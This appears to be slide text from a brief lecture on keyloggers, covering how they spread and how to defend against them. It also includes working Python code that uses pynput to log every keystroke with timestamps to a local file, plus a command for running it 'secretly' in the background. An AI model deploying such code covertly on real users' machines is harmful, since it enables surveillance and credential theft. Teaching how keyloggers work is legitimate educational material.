Keylogger

Lecturer: Иo1lz

Date: May. 31st, 2020

OUTLINE

  • What is keylogger?
  • Programming
  • References

What is keylogger?

Keylogger

At its most basic definition, a keylogger is a function which records or keystrokes on a computer.

Spread

  • through a phishing mail with an attachment/file
  • through webpage script with vulnarable browser
  • through an infected system

Protect Yourself

  • Implement two factor authentication
  • Use of  virtual keyboard
  • Use a comprehensive security system

Programming

Package Installation

$ pip install pynput

pynput is the library that allows you to control and monitor input devices.

Program the Program

from pynput.keyboard import Key, Listener
from threading import Timer, Thread
import time
import os

class Monitor:
	def _build_logs(self):
		if not os.path.exists('./logs'):
			os.mkdir('./logs')

	def _on_press(self, key):
		with open('./logs/log.txt', 'a') as f:
			timestamp = time.asctime(time.localtime(time.time()))
			f.write('{}\t\t{}\n'.format(timestamp, key))
	
	def _on_release(self, key):
		if key == Key.esc:
			return False

	def _keylogging(self):
		with Listener(on_press = self._on_press, on_release = self._on_release) as listener:
			listener.join()
	
	def run(self, interval = 1):
		"""
		Launch the keylogger with a thread.
		"""
		self._build_logs()
		Thread(target = self._keylogging).start()

if __name__ == '__main__':
	mon = Monitor()
	mon.run()

Execute it!

 Normally

$ python [filename].py

Secretly

$ python [filename].py &

References

Thanks for listening.

Keylogger

By Иo1lz

Keylogger

  • 96